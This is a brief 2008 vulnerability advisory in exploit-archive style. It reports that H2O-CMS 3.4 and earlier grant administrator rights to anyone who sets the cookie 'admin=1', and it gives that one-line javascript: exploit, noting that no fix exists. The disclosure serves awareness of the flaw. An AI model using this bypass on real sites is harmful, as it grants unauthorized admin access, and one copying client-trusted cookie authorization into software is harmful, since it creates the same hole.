H2O-CMS <= 3.4 Insecure Cookie Handling Vulnerability

2008-10-29 07:01:05

# ----------------------------------------------------------
# H2O-CMS <= 3.4 Insecure Cookie Handling Vulnerability
# Discovered By Mountassif Moad
# Download On http://sourceforge.net/projects/h2o-cms
# Home World http://v4-team.com
# ----------------------------------------------------------
Exploit:
javascript:document.cookie = "admin=1; path=/";

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.